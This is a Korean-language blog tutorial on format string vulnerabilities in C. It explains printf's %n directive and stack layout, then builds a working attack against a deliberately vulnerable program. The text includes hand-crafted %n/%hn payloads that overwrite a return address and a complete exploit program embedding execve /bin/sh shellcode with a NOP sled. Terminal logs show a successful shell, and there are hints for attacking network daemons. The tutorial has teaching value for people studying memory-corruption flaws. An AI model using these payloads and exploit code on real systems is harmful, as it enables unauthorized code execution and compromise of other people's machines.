본문 바로가기

[☩ Security ☩]

Format String의 이해

 INDEX
 1.배경지식
   a. Format String의 이해
   b. %n 디렉티브란 무엇인가.
   c. C Calling Convention
   d. Stack의 구조
   e. ELF의 이해
 
 2.문제점
   a. Our problems
   b. Format String Tricking (1)
   c. Format String Tricking (2)
   d. 공격 시나리오
  
 3.Hand Made Format String Attack
   a. Return Address 찾기
   b. Format String 구성하기
   c. Attacking (1)
   d. Attacking (2)
 
 4.Exploit
   a. Actual Exploit Code (1)
   b. Actual Exploit Code (2)
   c. Actual Exploit Code (3)
   d. Actual Exploit Code (4)


1.배경지식

1.a Format String의 이해

 --------------------------------<example1.c>---------------------------------

 char *foo = "4ucking gold broker";
 char var = 'A';
 int i = 100;

 printf("Variables are %s %c %d", foo, var, i );
 
 -----------------------------------------------------------------------------

 직관적으로 보자면, 위 예제에서 printf함수안의 "Variables are %s %c %d" 가 바로 출력하고자 하는 데이터의 format string이 된다. 간략하게 정의를 하자면, "출력하고자 하는 데이터의 form을 기술한 문자열" 정도가 되겠다.

1.b "%n" 디렉티브란 무엇인가?

 -------------------------------<example2.c>----------------------------------

 int i;
 long j;
 
 printf("how many characters printed %n", &i);
 printf("%100000d", &j);
 
 -----------------------------------------------------------------------------

 %n디렉티브는 문자가 출력되기 시작해서 "%n"이 encounting된 시점까지의 실제 프린트 해야 할 문자들의 갯수를 세어, 주어진 변수에 저장하는 역할을 한다. 여기서는 "how many characters printed "까지 센다. 즉, 변수 i에는 정수 27이 들어 간다. j에는 100000이 들어 간다.
 
 1.c C Calling Convention

 어떤 한 함수에서 다른 함수를 호출하며 파라메터를 넘기는 방법은 각 언어마다 여러가지 방법이 존재한다. 보통 C 언어에서는 함수의 제일 마지막 인자를 첫번째로 스택에 저장하고 ,그다음 순서대로 각 주어진 인자를 스택에 push했다가참조를 하는 방식을 쓴다.

 -----------------------------<example3.c>-----------------------------------
 
 char *str = "C language";
 int i=0;
 
 printf("Hello %s %d", i, str);
 
 ----------------------------------------------------------------------------

 이를 테면,위 예제에서 printf()가 호출되면서 *str이 제일 먼저 stack에 전달 인자로써 push가 되고, 정수형 i의 값이 그다음 push되는 식이다. 위와 같은  프로그램은 printf가 호출되면서  아래와 같은 스택 구조를 가질  것이다.

 HIGH   [  ....]
  [ *str ] <-- string pointer      
  [   i  ] <-- integer value   
  [   *  ] <-- format string pointer
 LOW  [  ....]


2.d  Stack의 구조

 Buffer Overflow에서와 같이 스택은 Format string attack에서도 주 공격지점이다.
 이의 구조를 간단히 언급하고 넘어가 보자.
 

------------------------------<example3.c>---------------------------------
 function()
 {
  char func_buf[64];
  char c;
 }
 main()
 {
  char main_buf[128];
  char a,b;
  int i;
 
  function();
 }
 ---------------------------------------------------------------------------

 프로그램이 시작되면서 먼저 main_buf[128]이 스택에 잡히고, 차래로 a,b,i가 잡힌후 function()이 호출 되면서 현재 실행코드주소를 push하고(ret addr),스택 프래임 포인터로 사용되는 ebp의 원래값을 push한후 function을 수행 .차례로 func_buf[64]를 잡고, c의 공간을 스택에 할당한다.
 
 아마도 위 프로그램은 function실행후 다음과 같은 스택 구조를 가질것이다.
 HIGH

[main_buf ] 128 byte
  [a        ] 1 byte
  [b        ] 1 byte
  [i        ] 4 byte
  [ret      ] 4 byte (return address )
  [saved ebp] 4 byte (sfp )
  [func_buf ] 64 byte
  [c        ] 1 byte
 LOW


1.e ELF의 이해

 프로그램이 적재 되면서 쓸수있는 overwrite될 수 있는 부분과 그렇지 않은 부분이 있다. format string으로 조작할 수 있는 부분은 바로 overwrtie될수 있는 부분뿐이다. 이를 테면 .bss , .data , .data1 , 등의 stack 같은 경우더 자세한 내용은 Remain it here , for our hard study hackers...

2. 문제점

2.a. 무엇이 문제인가.

 ---------------------------<example4.c>-------------------------------------
 char *str = "Hello World";
 printf("%s",str);

 char *str = "Hellow World";
 printf(str);

 char *str = "%x %x %x %x %x %x";
 printf(str);

 ----------------------------------------------------------------------------

  흔희, C언어에서 문자열을 출력하기 위해 위 첫번째 방법을 사용할 것을 배운다.
 하지만, 게으른 프로그래머들은 위 두번째 방법이 유효함을 안다.또한 , 위 두 경우 똑같은 결과를 나타낸다.

  하지만, 그 똑같은 결과는 서로 다른 원리에 의해 출력된 것이다.
 첫번째 경우에 있어서 "Hello World"는 하나의 인자로써 인식되고, %s디렉티브에  의해 *str이 참조가 되게 된다. 두번째 경우는 *str자체가 format string으로  인식되어 파싱이 되면서 출력이 된다.

  따라서 세버째 경우에 있어서 그 것이 증명이 된다. *str은 하나의 format string 이고, 이것이 파싱되면서 각 디렉티브에 따라서 출력의 형식이 바뀌게 되는 것이다.

  위 세번째 경우에 stack에 있는 값들을 차례로 hexcode형태로 출력하게 된다.
 이것이 바로 문제의 시발이 된다.

2.b. Format String Tricking (1)

 ----------------------------< example5.c >----------------------------------
 /* normal case */
  int var;
  printf("blah blah %n", &var);
 
 
 /* tricky case */
  char buf[64];
  fgets(  buf, sizeof(buf) , stdin );
  printf(buf);
 
 ----------------------------------------------------------------------------
 위 첫번째 경우 printf는 다음과 같은 수행을 한다.
 0x80483c8 <main>:       push   %ebp
 0x80483c9 <main+1>:     mov    %esp,%ebp
 0x80483cb <main+3>:     sub    $0x4,%esp
 0x80483ce <main+6>:     lea    0xfffffffc(%ebp),%eax
 0x80483d1 <main+9>:     push   %eax
 0x80483d2 <main+10>:    push   $0x8048440
 0x80483d7 <main+15>:    call   0x8048308 <printf>
 0x80483dc <main+20>:    add    $0x8,%esp
 0x80483df <main+23>:    leave 
 0x80483e0 <main+24>:    ret  

  일단 var란 int형 변수를 스택 프래임에 잡고, var의 주소 &var를  스택에 밀어 넣은 다음, "blah blah %n"란 포맷스트링을 스택에 push한다.그후에 printf()를 호출해서 그 포맷스트링을 기준으로 &var의 주소를 참조,
 그 주소에 현재 카운트된 출력문자들(NULL문자 포함)을 기록하게 된다.
 

 printf("blah blah %n", &var);
           A        |                 [ ret addr ]
           |        |                 [ saved ebp]
           |        |                 [ var      ]
           |        ----------------->[ &var     ] ( 0xbf?????? )
           ---------------------------[ *fmt str ]


  그럼, 두번째의 예에서 장난끼가 발동하지 않는가?
 사용자 입력을 기다리는 타임에 다음과 같은 문자열을 넣어보자.
 "\0x10\0x7f\0xff\0xbf%n"
 함수 fget()은 고스란히 위 문자열을 buf에 저장시킬것이다. 그리고
 아무것도 모르는 멍청이 printf()는 buf를 format string으로 인식해
 파싱을 하며 출력을 시도 할 것이다. 그럼 이해을 돕기 위해 buf의 구조를
 보면서 이해하기로  하자.

 printf("\0x10\0x7f\0xff\0xbf%n")
             A                |       [ ret addr ]
             |                |       [ saved ebp]
             |          (c.f.)|       [ buf(63,..]
             |                |       [ ..,..,.. ]
             |                |       [ 4,5,6,7  ] ( %n\0 )
             |                ------->[ 0,1,2,3 )] ( 0xbffff710 )
             -------------------------[*fmt str  ] ( *buf  )


  바로 앞 첫번째 예제에서 우리의 machine이 결과적으로 &var라는 변수를 인식하는  방법은 바로  4byte의 어드레스형태였다. (0xbf??????) 그럼 여기서 buf에 4byte 어드레스형의 문자열을  넣음으로써 우리는 그것을 printf()의 문자열 파싱중에  %n 디렉티브에 해당하는  인자(첫번째 경우에서는 &var) 처럼 여기게 할 수도 있을
 것이다.
 
  즉, printf()의 문자열 파싱중 디렉티브의 발견은 바로 *fmt str으로 부터 바로 윗 스택값들의 참조가 되는 것이다. 여기서는 local variable인 buf[0]~buf[3]이 바로  int형 참조 디렉티브 %n의 희생양이 되는 것이다. 아주 재미있다. 우리가 printf()에 %n에 해당하는 인자를 주지 않았음에도 불구하고 ,printf()는 바보처럼 buf[0]~buf[3]
 까지의 4byte를 %n 디렉티브에 해당하는  주소인 줄로 착각하여 그 주소에 자신의  문자열 카운트를 기록하는 것이다. 물론, 여기서는 그 값이 4가 될 것이다.
 
 이런 tricking으로 우리는 우리가 지정해준 번지에 어떤(?) 값을 쓸수 있다는 것을
 결론 지을수 있다.  현재까지는 4라는 value이다.


2.c. Format String Tricking (2)

 ------------------------------< example6.c >-----------------------------------
 
  int foo=1;
  long var;
  pritnf("%100000d%n\n", foo, &var );
 
 -------------------------------------------------------------------------------

 위 예제는 배경지식에서 본 것과 비슷하다.  만약 이런 식으로 화면에 프린트한다면
 white space x 99999개와 character '1' 이 출력 된다. 그리고 그것을 카운트한 %n은
 var에 100000이란 값을 집어 넣는다. 이것은 우리가 우리가 원하는 값을 &var에 넣을
 수 있음을 시사한다.
 
 <example5.c>의
 /* tricky case */
  char buf[64];
  fgets(  buf, sizeof(buf) , stdin );
  printf(buf);
 부분에서 입력값을 받을때 아래의 문자열을 넣으면 어떻게 될까.
 
 "\0x00\0x01\0x00\0x00\0x10\0xf7\0xff\0xbf%1000d%n"
 
 지금까지 이해를 잘 했다면, printf가 각 디렉티브에대해서 어떻게 움직이고,
 스택을 어떻게 참조하는지 잘 알것이다. 그렇다. 이것은 아래 그림처럼 참조를
 해서 움직이게 된다.
 

"\0x00\0x01\0x00\0x00\0x10\0xf7\0xff\0xbf%1000d%n"
                                            |   |  [ ret addr ]
        ^-------------------------^         |   |  [ saved ebp]
                    |                       |   |  [ buf(63,..]              
                    |                       |   |  [ ..,..,.. ]( %1000d%n\0 )
                    |                       |   -->[ 4,5,6,7  ]( 0xbffff710 )
                    |                       ------>[ 0,1,2,3 )]( 0x00000001 )
                    ------------------------------>[*fmt str  ]( *buf  )
 


  여기서 결과는 0xbffff710이라는 주소에 8byte(문자열 갯수) + 1000 = 1016을
 넣는 것이 된다.
 
  자. 이제 우리는 우리가 원하는 주소에 원하는 값을 넣을 수가 있게 되었다.
 좀더 세련된 방법을 쓸수가 있는데, 그것은 카운팅할 문자를 NULL로 채우고 임의의  문자를 써넣는 방식이다. kalou라는 사람이 쓴 문서에서 고안한 방식이다.
 ( 뒤에 사용하는 법을 예제로 제시하겠다.)
 
 어째든, 결론적으로 여기서 중요한 것은 우리가 원하는 영역에 원하는 값을 정해 넣을 수  있다는 것이다.


 2.d. 공격 시나리오

먼길을 헤쳐 왔다. 하지만, 아직도 우리에겐 할 일이 많이 남아 있다. 다시 정신을 가다 듬고, 우리가 Format String을 가지고 Tricking 했던 지식을 가지고, 일반적인 Format String Attack의 원리를 살펴 보자.

 Tricking의 결론 :
  우리가 원하는 값을 원하는 주소에 덮어 쓸 수 있다.

만약 위의 것이 사실이라면, 우리는 시스템에 있어 사용자 권한 부분을 관제하는 시스템의 변수를 건드려서 불법적으로 원하는 Priviledge를 얻을 수 있을 것이다.
만약 일반 유저가 자신의 UID를 0 로 바꾼다면 , 루트의 권한으로 프로그램을 실행 할 수 있다. GUARDENT사의 Tim Newsham이란 사람은 일찍이 UID를 바꾸는 것도 가능하리라고 예측을 했는데, 상식적으로 커널이 관리하는 u_area의 읽기 전용 변수 UID를 건들인다는 것은 필자로써는 좀 회의적이다. 좀 더 훌륭하신 분이 이렇게 할 수
있는 방법을 알고 있다면, 제게 메일을 주셨으면 한다. :-)

더 일반적인 Format String Attack의 공격법은 Buffer Overflow와 비슷한 공격 양태를 갖는다. 그 시나리오는 다음과 같다.

 a. 취약성 프로그램의 return address를 유추한다.
 b. 그 후 세련된 쉘코드를 스택에 띄워 놓는다.
 b. return address와 shellcode의 주소가 특별한 테크닉으로
    조합된 format string을 구성한다.
 c. 취약프로그램의 buffer에 그 format string을 넣고 공격한다. .
 d. 실패시 다시 프로그램의 return address를 유추한다. 그리고 위를 다시 반복.


3.Hand Made Format String Attack

 우리가 먼저 이 장의 "3.a Return Address를 찾기"로 넘어가기 전에 우리가 예제로써 쓸 취약프로그램의 코드를 보고 넘어 갈 것이다. 이 코드는 현재 버퍼 오버플로우가 일어나지 않게 끔 하도록 하는 보안권고에 충실한 소스라고 볼수 있겠다. 하지만,이제 이런 식으로 짜여진 프로그램도 더이상 안전할 수가 없다.

 또한, 아래 설명하겠지만  편의에 의해 그 리턴 코드를 볼수 있게 작성 되있다.


--------------------------------< vulfmt.c >-----------------------------------
 /*
 * vulfmt.c
 */
 #include"dumpcode.h"
 /* thanks to PLUS (Postech Laboratory for Unix Security) */
 
 unsigned long get_sp()
 {
     __asm__("movl %esp,%eax");
 }

 void func(char **argv)
 {
    char buf[128];
   
    snprintf(buf, sizeof(buf), argv[1]);
    buf[sizeof(buf) - 1] = '\0';
   
    printf("%s\n", buf);
   
    /* dump stack */
    dumpcode( (char*)get_sp() , 256 );
 }

 int main(int argc, char **argv)
 {
    if(argc !=2) {
     printf("it needs something argument\n");
     exit(0);
    }
   
    func( argv);
   
    return 0;
 }
 -------------------------------------------------------------------------------


3.a. Return Address 찾기

  Format String Attack의 첫번째 난관은 바로 이 리턴 어드레스를 찾는 부분이다. 현실적으로 공격에 쓰여지는 공격 코드들은 오로지 수작업에 의한 경험적인 측면에 근거하는 것이 대부분이다. 사실상 우리가 구할 수있는 exploit은 오로지 그것을 만든해커의 시스템에 최적화 되있는 것이 일반적이다. 취약 프로그램의 return address는 공격 코드의 핵심이지만, 항상 - 해커가 만든 시스템에서만 잘 돌아가는, 혹은 운이좋으면 실행 될 수 있는  즉, 공격 hit율이 굉장히 떨어지는 "어떤 값"으로 주어져 있다. 우리는 우리의 타겟이 되는 한 프로그램을 공격하기 위해서 그 프로그램의 소스를 분석하고, 실제적으로 디버깅을 통해 자신의 공격을 확인해야 한다.
(꽤 부담가는 작업이다.) 그러나 프로그램에 굉장히 숙련되거나, 시스템에 대한 이해가 풍부한사람이라면 그러한 exploit 하나 쯤 만드는 것은 별일이 아니리라 생각된다.

 아무튼, 여기서는 우리 hard study hakers의 이해를 돕기위해 취약 프로그램의 Return Address를 내비춘 상태에서 공격을 시도할 것이다. 실제 취약프로그램의  Return Address를 찾는 일은 사랑하는 우리 폐인들(hard study hackers)에게  맡기겠다.

 Good Luck !~
 ;-}


3.b. Format String 구성하기
 
  이것은 일단 우리의 목적하는 쉘코드가 현재 우리의 실행스택에 떠 있으며, 설령 그렇지 않다 하더라도 프로그램의 수행과 동시에 그것이 우리가 알수 있는 어느 위치에 자리잡고 있다는 것을 가정해야 한다. 또한, 그래서 그것을 가르키는 가상주소가 우리 공격 프로그램의 offset인자로 조정되어질 수 있다는 것을 숙지해야
 하겠다.
 
 이를테면, 우리는 우리의 shellcode가 있는, 실행될 가상주소를 이미 알고 있어야 한다.
 그래야 그것을 가지고, Format String 을 구성할수가 있기 때문이다.
 독자의이해를 돕기 위해 좀 쉬운 방법부터 진행해 보도록 하겠다.
 
 
  우리가 원하는 shellcode의 첫번째 주소위치가 0xbffff7a0라고 하자.
 그리고, 추측되거나 혹은 소스를 통해 예상되는 (우리의 경우는 보여진다.)
 취약 프로그램의 return address가 0xbffff980 지점이라고 하자.
 그러면, 우선 이두 주소를 공격용 format string으로 만들기 위해서 아주 cute한 계산이  필요하다. 보통 %n디렉티브는 4byte에 저장을 하게 되어있다.  (보통 integer= 4byte)그렇다면 우리는 취약 프로그램 vulfmt에 대해  다음과 같은 format string을 구성해 볼 수 있겠다.
 
 우리가 %n이 가르키는 영역( 즉 리턴어드레스지점)에 0xbffff7a0의 값이 채워지게 하려면, 약 3221223328 개의 출력 폼 size를 printf()의 파싱중 %n 디렉티브의  발견과 동시에 인식시켜야 한다.
 그러한 Format String은 아마도 다음과 같을 것이다.
 
  "\xff\xff\xff\xff\xa0\xf7\xff\xbf%3221223320d%n"
 
 하지만, 3221223320은 결코 작은 숫자가 아니다. 우리의 시스템은 보통 이렇게 큰 폼을 보기위해 만들어지지는 않았다. ( 그러면 참 좋으련만... )
 그래서 두번에 걸친 return address의 overwrite가 필요로 한다.
 
 말하자면, 0xbffff7a0 과 0xbffff7a2에 2byte씩 두번에 걸쳐 쓰는 방식이다.
 운이 좋게도 %n 디렉티브가 4byte를 쓰는 데에 반해 %hn디렉티브는 2byte를 쓴다.
 
  "\xff\xff\xff\xff\xa2\xf7\xff\xbf"
  "\xff\xff\xff\xff\xa0\xf7\xff\xbf"
  "%49135d%hn%14241%d%hn
 
 주의 : 계산은 각자의 시스템에 맞게 하도록 하자.
 어떤 머신들은 파싱중에 garbage를 첨가 시키는 경우도 있다.
 아주 골때리는 경우이다.

 자, 그럼 위에서 만들어진 Format String을 가지고 Stack을 한번 때려 부숴보자.
 

3.c. Attacking (1)

 아래는 위에서 만들어진 Format String으로 공격을 한 실행결과이다.
 주의 깊게 참고하자.

-------------------------------------------------------------------------------
 [seo@richard ok2]$ perl -e 'system "./vulfmt" , "\xff\xff\xff\xff\x82\xf9\xff\xbf\xff\xff\xff\xff\x80\xf9\xff\xbf%49135d%hn%14241d%hn"'
 귲?€??                                                   좚?                                                     
 0xbffff930  d6 86 04 08 30 f9 ff bf 00 01 00 00 ff ff ff ff   ....0...........
 0xbffff940  82 f9 ff bf ff ff ff ff 80 f9 ff bf 20 20 20 20   ............   
 0xbffff950  20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20                  
 0xbffff960  20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20                  
 0xbffff970  20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20                  
 0xbffff980  a0 f7 ff bf 20 20 20 20 20 20 20 20 20 20 20 20   ....           
 0xbffff990  20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20                  
 0xbffff9a0  20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20                  
 0xbffff9b0  20 20 20 20 20 20 20 20 20 20 20 00 c8 f9 ff bf              .....
 0xbffff9c0  09 87 04 08 14 fa ff bf e8 f9 ff bf b3 0f 03 40   ...............@
 0xbffff9d0  02 00 00 00 14 fa ff bf 20 fa ff bf e4 31 01 40   ........ ....1.@
 0xbffff9e0  02 00 00 00 f0 83 04 08 00 00 00 00 11 84 04 08   ................
 0xbffff9f0  dc 86 04 08 02 00 00 00 14 fa ff bf 30 83 04 08   ............0...
 0xbffffa00  4c 87 04 08 30 a6 00 40 0c fa ff bf 30 38 01 40   L...0..@....08.@
 0xbffffa10  02 00 00 00 2f fb ff bf 39 fb ff bf 00 00 00 00   ..../...9.......
 0xbffffa20  5e fb ff bf 68 fb ff bf be fb ff bf dd fc ff bf   ^...h...........

-------------------------------------------------------------------------------


 Comment : 0xbffff980 부분에 값이 우리가 원하는 값으로 바뀌었다.
 공격은 이러한 식으로 이루어 진다. 만약 우리가 리턴 어드레스를 정확히 찍었다면,
 공격은 성공했을 것이다. 그러니까 위에서는 0xbffff9c0의 경우다.

 위의 공격법으로도 충분히 공격은 이루어 질수 있다.

 하지만, hard study hackers들이여. 좀 더 세련된 공격 방법을 고안해 보자.위 공격법에서는 항상 자신의  쉘코드 주소를 찾아야 하며, 그것과 같이 실제로는 Hit율이 굉장히 떨어지는  Format String을 매번 구성해야 한다는 번거로움이 있다.엄청나게 짜증나는 수작업이 될 것이다.
 허나 실제로는 그렇게 아니면, 공격을 할 수가 없다.
 
 그것을 개선한 필자의 소스를 공개 하겠다.
 세련 되진 못하지만 잘 돌아 간다.  ;-)
 
 나의 exploit경우 -a 옵션과 같이 받아들여지는 인자가 리턴어드레스로 예상되는 주소이며, shellcode의 바이트 스트림 즉, EGGSHELL이 위치할 스택의 주소를 offset으로 맞추어 주는 것만으로도 format string이 구성된다.. 물론 특별한 경우가 아니라면, offset은  거의 사용할 일이 없다. 보통의 경우 적지 않아도 될 것이다. 유사시에만 사용하라. :)
 
 그리고 구성된 format string은 환경변수 $FMTSTR에 위치하게 될 것이며, 단순히
 그 변수를 사용하는 것만으로 공격이 가능 할 것이다.
 
 다만, 이 소스는 테스트 용이므로 취약 프로그램은 buf를 잡은후 이후 다른 변수가 할당
 되지 않는  때를 가정한다. ( vulfmt.c 우리의 경우 )만약 , 어떤 취약 프로그램이 아래처럼 변수를 할당 한다면,
 
 char buf[128];
 int a, b;
 char *str
 
 "%x%x%x" 로 할당된 변수 세개를 먼저 popping 시킨후 우리의 음모를 시작해야 할것이다.
 아래와 같이 말이다.
 
 [seo@richard ok2]$ FMTSTR="%x%x%x"$FMTSTR 
 [seo@richard ok2]$ ./vulfmt $FMTSTR
 
 하지만, 다음과 같은 경우는 상관 없다.
 
 int a, b;
 char *str;
 char buf[128];
 
 이상으로 우리가 해야 할일이 크게 줄었다.
 이것이 한큐에 어떻게 돌아가는지 궁금한 사람은 어설픈 나의 소스를 잘 참조 하기 바란다.

 원리는 다음과 같다.
 일단, 쉘코드를 스택에 띄운후 인자로 받아들인 리턴주소로 예상되는 값으로부터 이것을 기준으로 차례로 한 바이트뒤의 4개의 주소가 overwrite될 주소로 구성되고 이것이 문자열의 제일 처음을 장식하게 된다. 그리고, shellcode가 있는 주소를  4개 byte로 잘라 format에 맞게 계산되어 적절한 "00000"들의 집합이 이루어 진다. 바로 이것들이 4번에 걸쳐 주소값이 overwrite이 될때, %n 디렉티브가 계산할 문자열들이 되는 것이다. 먼저 들어간 4개의  주소들에 따라 항상 리턴주소의 끝 바이트는 0x10이 되고, 다음의 각 주소 byte는 쉘코드의 앞 3자리 주소 값으로 형성된다. feature는 아래와 같다.
 
 [차례로 쓰여질 가상주소 x 4 ] + %n + [ '0' 문자열 ] + %n 
 [ '0' 문자열 ] + %n  + [ '0'문자열  ] + %n

 실제의 모양은 다음과 같다.

 f7a0 bfff f7a1 bfff f7a2 bfff f7a3 bfff
 6e25 3030 3030 3030 3030 3030 3030 3030
 3030 3030 3030 3030 3030 3030 3030 3030
 *
 3030 3030 3030 3030 6e25 3030 3030 3030
 3030 2530 306e 3030 3030 3030 3030 3030
 3030 3030 3030 3030 3030 3030 3030 3030
 *
 3030 3030 2530 0a6e                   
 

 문서와 같이 제공되는 필자의 exploit소스.
 

<< fmt_exploit.c >>
 --------------------------------------------------------------------------- 
 /*
  *  Foramt string attack general exploit
  * 
  *  by  TrueFinder@IGRUS / khdp.org
  *  seo@igrus.inha.ac.kr
  *
  * usage : fmt_exploit -a <return addr> <offset>
  *   : fmt_exploit -a bffffae0 512
  *   : fmt_exploit -a bffffae0
  *
  */
 
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <ctype.h>

 #define NOP                    0x90
 #define BYTEMASK               0x000000FF
 #define DEFAULT_OFFSET         0
 #define DEFAULT_EGGSIZE        2048

 /* Respected hacker aleph1's shellcode */
 char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
 unsigned long esp_point()
 {
        __asm__("movl %esp,%eax");
 }
 
 int htod( char *str )
 {
        unsigned char var[2];
           
        var[1] = '\0';

        if ( isdigit( str[0] ) ) var[0] = ( str[0] - 48 );
        else if ( str[0] == 'a' ) var[0] = 10;
        else if ( str[0] == 'b' ) var[0] = 11;
        else if ( str[0] == 'c' ) var[0] = 12;
        else if ( str[0] == 'd' ) var[0] = 13;
        else if ( str[0] == 'e' ) var[0] = 14;
        else if ( str[0] == 'f' ) var[0] = 15;
        else {
             printf( "args are not hexcode ... \n");
          exit(-1);
        }
       
        var[0] *= 16 ;

        if ( isdigit( str[1] ) ) var[0] += ( str[1] - 48);
        else if ( str[1] == 'a' ) var[0] += 10;
        else if ( str[1] == 'b' ) var[0] += 11;
        else if ( str[1] == 'c' ) var[0] += 12;
        else if ( str[1] == 'd' ) var[0] += 13;
        else if ( str[1] == 'e' ) var[0] += 14;
        else if ( str[1] == 'f' ) var[0] += 15;
        else {
             printf( "args are not hexcode ... \n");
          exit(-1);
        }

        return var[0];
 }
 
 int main (int argc , char **argv )
 {
     char *ptr, *egg ;  
     int offset, bsize;
    
     char b1[255], b2[255], b3[255];
     char  *foo[4], *baddr[4];
     char *fmtstr , *buf;
     int fmtb[4];
     int eggaddr;
     long addr;
     int i , j;
    
     /* our lunch set :-) kalou's method : thanks to kalou */
     memset( b1, 0, 255 );  memset( b2, 0, 255 );
     memset( b3, 0, 255 );

     baddr[0] = malloc(5);  baddr[1] = malloc(5);
     baddr[2] = malloc(5);  baddr[3] = malloc(5);

     foo[0] = malloc(4); foo[1] = malloc(4);
     foo[2] = malloc(4); foo[3] = malloc(4);
    
     if ( argc < 2 ){
          printf("usage : %s -a <return addr> <offset>\n",argv[0]);
   printf("  ex) : %s -a bffffae0 512 \n", argv[0]);
          exit(-1);
     }
  
     if ( argc > 3 ){
  offset = atoi( argv[3] );
     }
     else{
 offset = DEFAULT_OFFSET;
     }
    
     bsize = DEFAULT_EGGSIZE;

     if( !(fmtstr = malloc (1024)) || !(egg = malloc( bsize )) ){
  perror("can't allocate memory.\n");
  exit(-1);
     }
         
        
     for( i=0 ; i < bsize ; i++)
  egg[i] = NOP ;

     ptr = egg + ( bsize - strlen(shellcode) - 1 ) ;
    
     for( i =0 ; i< strlen(shellcode); i++)
         *(ptr++) = shellcode[i];
    
     egg[ bsize -1 ] = '\0';
    
    
     j = 0;
     for( i=0; i< 4 ; i++) {
        baddr[i][0] = argv[2][j];
        baddr[i][1] = argv[2][j+1];
        baddr[i][2] = '\0';
        j+=2 ;
       
 foo[0][3-i] = htod( baddr[i] ); 
        foo[1][3-i] = htod( baddr[i] ); 
        foo[2][3-i] = htod( baddr[i] ); 
        foo[3][3-i] = htod( baddr[i] ); 
     }
    
     foo[1][0] += 1; foo[2][0] += 2; foo[3][0] += 3;
 
     eggaddr = esp_point() + offset;
     printf("Usiing address: %#x\n", eggaddr);
 
     fmtb[0] = (eggaddr >> 0  ) & BYTEMASK ;
     fmtb[1] = (eggaddr >> 8  ) & BYTEMASK ;
     fmtb[2] = (eggaddr >> 16 ) & BYTEMASK ;
     fmtb[3] = (eggaddr >> 24 ) & BYTEMASK ;

     memset( b1, '\0x90' , fmtb[1] - 0x10 );
     memset( b2, '\0x90' , fmtb[2] - fmtb[1] );
     memset( b3, '\0x90' , ( fmtb[3] + 256 ) - fmtb[2] );
 
     sprintf(
        (char*)(fmtstr+7),"%s%s%s%s%%n%s%%n%s%%n%s%%n",
        foo[0], foo[1], foo[2], foo[3],
        b1, b2, b3
     );

     memcpy( fmtstr, "FMTSTR=",7);
     putenv(fmtstr);
    
     memcpy ( egg ,"EGG=", 4);
     putenv(egg);
    
     system("/bin/bash");
 
 }
 -------------------------------------------------------------------------


 그리고 아래는 역시 위 소스를 컴파일한 후 한방에 공격하는 멋진 실례. dump된 메모리를 잘 참고 해보면 역시 도움이 되리라 생각된다.


-------------------------------------------------------------------------
 [seo@richard ok2]$ ./lastexploit -a bfffee60
 Usiing address: 0xbffff670
 [seo@richard ok2]$ ./lastvul $FMTSTR
 `?풹?풺?풻??00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
 0xbfffedd0  d6 86 04 08 d0 ed ff bf 00 01 00 00 60 ee ff bf   ............`...
 0xbfffede0  61 ee ff bf 62 ee ff bf 63 ee ff bf 30 30 30 30   a...b...c...0000
 0xbfffedf0  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30   0000000000000000
 0xbfffee00  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30   0000000000000000
 0xbfffee10  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30   0000000000000000
 0xbfffee20  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30   0000000000000000
 0xbfffee30  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30   0000000000000000
 0xbfffee40  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30   0000000000000000
 0xbfffee50  30 30 30 30 30 30 30 30 30 30 30 00 68 ee ff bf   00000000000.h...
 0xbfffee60  10 f6 ff bf 01 00 00 bf 88 ee ff bf b3 0f 03 40   ...............@
 0xbfffee70  02 00 00 00 b4 ee ff bf c0 ee ff bf e4 31 01 40   .............1.@
 0xbfffee80  02 00 00 00 f0 83 04 08 00 00 00 00 11 84 04 08   ................
 0xbfffee90  dc 86 04 08 02 00 00 00 b4 ee ff bf 30 83 04 08   ............0...
 0xbfffeea0  4c 87 04 08 30 a6 00 40 ac ee ff bf 30 38 01 40   L...0..@....08.@
 0xbfffeeb0  02 00 00 00 d3 ef ff bf dd ef ff bf 00 00 00 00   ................
 0xbfffeec0  a5 f1 ff bf af f1 ff bf 05 f2 ff bf 24 f3 ff bf   ............$...

 bash$

 -------------------------------------------------------------------------


 Comment : It's beautiful. Aren't you ?


3.d. Attacking (2)

 위의 예는 사용자가 로긴을 한 상태이며, 환경변수를 쓸 수 있어야만 한다는 제약 조건이 있었다. Locale버그를 이용한 공격을 할 때에는 환경변수 $FMTSTR을 화일로 뿌려서사용해보길 바란다. - 어차피 똑같은 byte stream이다. 이를 극복하는 방법은 hard study hackers들에게 남기겠다.
 
 그리고, 호기심 많은 우리 폐인들의 호기심이 여기서 그치지 않으리란 생각에서 실제 Network 상에서는 어떤 식으로 공격을 하는지 간단히 언급하고 지나가겠다.이젠 원리를 알려 주었으니 스스로 만들어 볼 수도 있을 것이다.
 
 Network Attack Hint.
 일단 server의 buf에 우리 뻑적지근한 shellcode를 먼저 실려보내고, 그 이후에 그  shellcode를 가르키게 특별히 테크니컬하게 고안된 format string을 다음으로 실려 보내는 식이다. 이 때에는 server의 리턴 어드레스를 계산하기 위해 직접 소스를 보거나, 아니면  실제 그 데몬을 debuging하는 식의 고도의 집중(?)이 요구 된다. 이는 필자에게너무 많은 스트레스를 제공하기 때문에 필자는  여기까지만 설명하려고 한다. 이로도 우리 머리 좋은 한국의 hacker들에겐 충분하리란 생각때문이다.
 
4. Exploit

4.a. Actual Exploit 코드(1)

 hmmm...
 그러나, 우리 hard study hackers 들에게 미안하다.
